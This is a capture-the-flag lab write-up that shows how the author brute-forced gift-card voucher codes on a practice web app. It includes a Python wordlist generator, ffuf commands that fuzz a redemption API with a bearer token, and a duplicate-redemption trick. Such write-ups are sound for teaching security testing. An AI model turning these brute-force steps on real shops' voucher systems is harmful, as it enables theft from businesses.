Brute force. Can you redeem gift vouchers that don’t belong to you?
The hint for today’s challenge was straight to the point. With that in mind, my first move was to fire up Burp Suite so I could capture and inspect the HTTP history. Knowing the objective, I navigated straight to the gift cards page in the application to see if I could brute-force and claim vouchers without actually paying for them.
Enumeration & Pattern Recognition
To understand how the system worked, I needed a baseline. I went ahead and purchased a single gift card to see how the codes were structured.
One voucher doesn’t give you much of a sample size, so I bought and redeemed two more.
Once I had three active vouchers in my account, a clear pattern emerged. Every single voucher code started with CAFE-0803-A... followed by three variable letters. The prefix was static, and the suffix was just three uppercase characters.
This was the perfect scenario for a brute-force attack. I opened Burp Suite and checked the HTTP history to examine the exact structure of the redemption request. The request was a POST to /api/giftcards/redeem containing a JSON body with the voucher code.
Initial Access & Exploitation
I knew enough to start fuzzing, but before I could use a tool like ffuf, I needed a wordlist containing all possible three-letter combinations. Since I knew the variable part consisted only of uppercase letters (from AAA to ZZZ), I wrote a quick Python script to generate the exact text file I needed:
import itertools
import string
def generate_combinations():
letters = string.ascii_uppercase
filename = "voucher_combinations.txt"
with open(filename, "w") as file:
# We set repeat to 3 for combinations from AAA to ZZZ
for combination in itertools.product(letters, repeat=3):
# Join the letters into a 3-character string
code = "".join(combination)
file.write(code + "\n")
if __name__ == "__main__":
print("Generating combinations...")
generate_combinations()
print("Done! Check voucher_combinations.txt.")
Running this script gave me a voucher_combinations.txt file containing every possible permutation.
Next, I constructed my ffuf command:
ffuf -w voucher_combinations.txt \
-u https://lab-1773005779523-3qsxkf.labs-app.bugforge.io/api/giftcards/redeem \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5..." \
-d '{"code":"CAFE-0803-AFUZZ"}' \
-mc 200
-w: Specifies my custom wordlist.
-u: The target API endpoint.
-X POST: Specifies the HTTP method.
-H: Passes the necessary Content-Type and my JWT for authorization.
-d: The JSON payload, using FUZZ as the placeholder for ffuf to inject the wordlist items.
-mc 200: Match only 200 OK responses. I knew from Burp that submitting an invalid or already redeemed code threw an error, so a 200 would indicate a successfully brute-forced voucher.
The script ran beautifully and outputted a clear list of valid vouchers. I checked my browser, and sure enough, all those brute-forced vouchers now showed up as redeemed in my account
The Obstacle: Where is the Flag?
Despite successfully brute-forcing and redeeming the vouchers, I hit a frustrating wall: I didn’t have the flag. Because ffuf automated the redemption process, it essentially “consumed” all the valid vouchers in the background. I never actually saw the raw JSON responses, which is almost certainly where the flag was hiding. I knew what the valid codes were, but I was blind to the server’s success message.
The “Hacky” Workaround
I needed to see that JSON response. My initial thought was:
What if I just create a new account, take one of the valid codes ffuf just found, and manually submit it via Burp Suite?
I did exactly that. I created a new user, pasted a valid code into Burp Repeater, and sent the request. It worked, and the JSON response contained the flag!
However, I wasn’t satisfied with this. This workaround only succeeded because the application had an underlying business logic flaw, it allowed two different users to redeem the exact same voucher code. If the server had been coded properly to invalidate a code globally once used, my ffuf run would have permanently burned all valid codes, locking me out of the flag.
The Elegant Solution
Wanting to learn the “proper” way to handle this, I decided to do some research online to see if there was a way to make ffuf log the response bodies while brute-forcing.
Looking through the official ffuf documentation on GitHub, I found the exact solution I needed: the -od (output directory) flag. This flag saves every matched HTTP response to a specified folder.
I created another new test user (to get a fresh JWT), updated my command, and ran it again:
ffuf -w voucher_combinations.txt \
-u https://lab-1773005779523-3qsxkf.labs-app.bugforge.io/api/giftcards/redeem \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5...[NEW_TOKEN]..." \
-d '{"code":"CAFE-0803-AFUZZ"}' \
-mc 200 \
-od results
Once ffuf finished, it had populated the results directory with the raw HTTP responses of every successful hit. I simply ran a recursive grep command on that folder:
Instantly, the terminal spit out the flag directly from the logged JSON responses. This method was infinitely more elegant and didn’t rely on secondary server flaws to work.
- Burp Suite (Community Edition): Proxy, HTTP History, and Repeater to analyze the API request structure.
- Python: To write a custom script generating the 3-character permutations wordlist.
- ffuf: To fuzz the API endpoint and automate the brute-force attack.
- grep: To parse the downloaded response files and extract the flag.
Summary
- Key Steps: I identified a predictable pattern in gift card codes, generated a custom wordlist using Python, and brute-forced the API endpoint using
ffuf. To capture the flag hidden in the response bodies, I utilized ffuf’s -od flag to save the output and used grep to parse it.
- What I Learned: The most valuable takeaway from this challenge was learning how to properly log response bodies in
ffuf using the -od flag. Finding a vulnerability is only half the battle; capturing the exfiltrated data cleanly is just as important.
- Crucial Mistakes/Takeaways: Relying on my initial “hacky” workaround (creating a second account to redeem an already-used code) was a bad practice. It relied on a secondary vulnerability (duplicate redemptions) to bypass a limitation in my own tooling methodology. Taking a step back to research the official tool documentation led to a much more robust and professional technique.